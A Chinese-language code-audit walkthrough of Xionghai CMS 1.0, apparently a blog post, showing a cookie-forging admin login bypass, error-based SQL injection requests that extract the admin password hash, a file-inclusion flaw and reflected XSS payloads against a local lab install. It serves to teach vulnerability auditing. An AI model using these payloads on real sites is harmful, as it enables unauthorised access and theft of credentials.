熊海cms1.0代码审计
目录
一、环境搭建
二、代码审计
(1)后台存在登录绕过漏洞
(2)登录后台user处存在SQL注入
(3)前(后)台文件包含漏洞
(4)后台SQL注入
1、admin/files/editcolumn
2、admin/files/editlink.php
3、admin/files/editsoft.php与admin/files/editwz.php
4、and '1'='1闭合构造SQL注入
(5)前台xss漏洞
1、/files/contact.php
2、/files/content.php
这个应该是比较简单的php代码审计了,适合新手
一、环境搭建
cms下载地址:
https://down.chinaz.com/soft/36930.htm
然后phpstudy环境搭建,php版本要小于7,之后要自己新建一个数据库
访问
http://localhost/xhcms1.0/install/index.php
二、代码审计
在cnvd里面看到有很多漏洞,一个个尝试吧
(1)后台存在登录绕过漏洞
提示我们可以通过伪造cookie绕过登录检测,代码位于inc\checklogin.php
<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;
}
?>
如果cookie里面的user为空就转到登录页面,那我们可以给user赋值来绕过
直接访问admin/页面
直接进入到了网站后台。
(2)登录后台user处存在SQL注入
代码位于admin\files\login.php
<?php
ob_start();
require '../inc/conn.php';
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);if (!mysql_num_rows($result)) {
echo "<Script language=JavaScript>alert('1');history.back();</Script>";
exit;
}else{
$passwords=$users['password'];
//echo $passwords;
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('2');history.back();</Script>";
exit; }
//写入登录信息并记住30天
if ($checkbox==1){
setcookie('user',$user,time()+3600*24*30,'/');
}else{
setcookie('user',$user,0,'/');
}
echo "<script>this.location='?r=index'</script>";
exit;
}
exit;
ob_end_flush();
}
?>
这里没有对user进行过滤,直接拼接到了SQL语句里面,所以我们可以构造一下报错注入
POST /xhcms1.0/admin/?r=login HTTP/1.1
Host: 192.168.10.128
Content-Length: 95
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.128
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.10.128/xhcms1.0/admin/?r=login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: closeuser=admin'or updatexml(1,(select concat(0x7e,password) from manage),1)#&password=123&login=yes
可以在源码里发现后面有个md5加密,所以储存的密码应该是32位,不符合。
用mid打印出完整的
POST /xhcms1.0/admin/?r=login HTTP/1.1
Host: 192.168.10.128
Content-Length: 105
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.128
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.10.128/xhcms1.0/admin/?r=login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: closeuser=admin'or updatexml(1,concat(0x7e,mid((select password from manage),2,33)),1)#&password=123&login=yes
md5解密
可以得知admin密码为admin
(3)前(后)台文件包含漏洞
前台漏洞代码位于:index.php,后台漏洞代码位于:admin\index.php
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
get方式获取r,然后经过addslashes函数处理,之后判断,再然后拼接读取
如果php版本小于等于5.3.4可以使用%00截断实现任意文件读取,但如果高了就只能进行php文件读取
(4)后台SQL注入
1、admin/files/editcolumn
$id=$_GET['id'];
$type=$_GET['type'];if ($type==1){
$query = "SELECT * FROM nav WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$nav = mysql_fetch_array($resul);
}
很明显的SQL注入漏洞
http://localhost/xhcms1.0/admin/index.php?r=editcolumn&type=1&id=1'%20or%20updatexml(1,concat(0x7e,database()),1)%23
2、admin/files/editlink.php
$id=$_GET['id'];
$query = "SELECT * FROM link WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$link = mysql_fetch_array($resul);
几乎一模一样
3、admin/files/editsoft.php与admin/files/editwz.php
也是一样的
4、and '1'='1闭合构造SQL注入
POST /xhcms1.0/admin/index.php?r=editcolumn&type=1&id=1 HTTP/1.1
Host: 192.168.10.128
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=admin
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 111save=1&name=a' or updatexml(1,concat(0x7e,version()),1) and '1'='1&keywords=b&description=c&xs=d&px=e&content=f
还有很多类似的,像manageinfo.php里面也有
(5)前台xss漏洞
1、/files/contact.php
/index.php?r=contact&page=<script>alert(1)</script>
$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="第".$page."页 - ";
}
}
<title><?php echo $navs['name']?> - <?php echo $pages.$info['name']?></title>
没有过滤直接拼接
2、/files/content.php
差不多的,id
"><script>alert(1)</script>
熊海cms1.0代码审计相关推荐
- 熊海CMS_V1.0代码审计与漏洞分析及采坑日记(一)--文件包含漏洞
前言 最近几天在给协会的学弟讲代码审计入门相关内容,便找了这个熊海CMS_V1.0来教学,结果在这个过程中遇到蛮多问题的,于是这篇文章详细记录了对熊海CMS_V1.0从搭建到审计与漏洞分析的过程,其中 ...
- 代码审计系列:熊海CMS V1.0 (iseaCMS_1.0)
目录 前言 一.环境 1.用到的工具 2.搭建环境 二.审计 1.文件包含 (1)index.php (2)admin/index.php 2.SQL注入 (1)admin/files/adset.p ...
- 三、熊海CMS_v1.0-[Seay源代码审计]-[漏洞编码12人工审计]
我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一.熊海CMS_v1.0网站目录结构 二.Seay代码审计系统漏洞报告 三.漏洞1&2分析: 1./in ...
- 熊海博客php版本,熊海CMS xhcms v1.0代码审计
有空的时候就进行小型CMS的代码审计,这次审计的对象是熊海CMS v1.0 本地环境安装好了之后,可以看到提示安装了锁文件 说明重装漏洞应该不会存在了,这时候丢进seay代码审计系统的代码也出结果了, ...
- 熊海CMS 1.0代码审计漏洞集合
目录 SQL注入 注入1 注入2 注入3 cookie注入 注入5 XSS 反射型xss1 存储型xss2 反射型xss3 反射型xss4 存储型xss5 文件包含 越权登录 熊海CMS是由熊海开发的 ...
- PHP代码审计demo之熊海cms
实践学习php,thinkphp,Redis,vue,uni-app等技术,推荐开源电商系统likeshop,可以借鉴思路,可去版权免费商用,gitee下载地址: 点击进项目地址 php漏洞的利用依赖 ...
- 适合入门代码审计之熊海cms
一.前言 简单了解了一下,审计入门,熊海比较适合,因为是简单的cms,适合入门. 二.审计环境 使用小皮面板,新建网站 三.审计过程 先了解文件目录 admin --管理后台文件夹 css --存放c ...
- 熊海博客php版本,xhcms_v1.0 熊海CMS是由熊海开发的一款可广泛应用于个人博客 联合开发网 - pudn.com...
xhcms_v1.0 所属分类:WEB开发 开发工具:Java 文件大小:4002KB 下载次数:3 上传日期:2015-05-14 14:41:13 上 传 者:dou 说明: 熊海CMS是由熊海 ...
- 智能车竞赛技术报告 | 智能视觉组 - 哈尔滨工程大学 - 济海追风0队
简 介: 本文主要介绍了第十六届智能车竞赛智能视觉组的相关设计思想.此车系统由i.mx8处理器为上位机,RT1064为下位机.通过摄像头传感器检测赛道.使用光电编码器采集车轮速度.结合车模赛道物理模型 ...
最新文章
- 华为防火墙的技术积累
- dev layoutview 怎么显示大小_「转」磁盘满了,为啥du却显示还有很大空间?
- 洛谷 P1356 数列的整数性 解题报告
- linux相关操作命令
- 网站域名安全:泛解析处理及防护
- “缺少winload.efi”的解决办法“:Windows Boot Manager更改读取启动信息路径
- 什么是WBS分解法?
- 使用电信光猫+华为路由器实现内网穿透,外网访问内网 之 光猫超级管理员密码获取并设置桥接模式
- uikit框架_UIkit框架的口哨之旅
- 用计算机观察声音的波形,用计算机观察声音的波形
- 批量处理:读取文件夹,将json文件转化为txt文件
- 网络数据保障ptop_网络影响未来十大预言
- gdal调用capi处理乱码问题(c#)
- Blob如何在html里转换成图片,前端图片canvas,file,blob,DataURL等格式转换
- 有时候人们用四位数字表示一个时间,比如 1106 表示 11 点零 6 分。现在,你的程序要根据起始时间和流逝的时间计算出终止时间。 读入两个数字,第一个数字以这样的四位数字表示当前时间,第二个数字
- Java跨年祝福语代码_跨年祝福语大全
- c语言 遍历文件夹中所有文件名,C# 遍历文件夹下所有子文件夹中的文件,得到文件名...
- QT项目移植后报错:无法打开包括文件: “ui_xxx.h”
- Java计算出生一万天的纪念日期(错误演示,未解决)-----已经解决(原因计算long型数字未加L)
- Spyder无法断点debug问题解决方式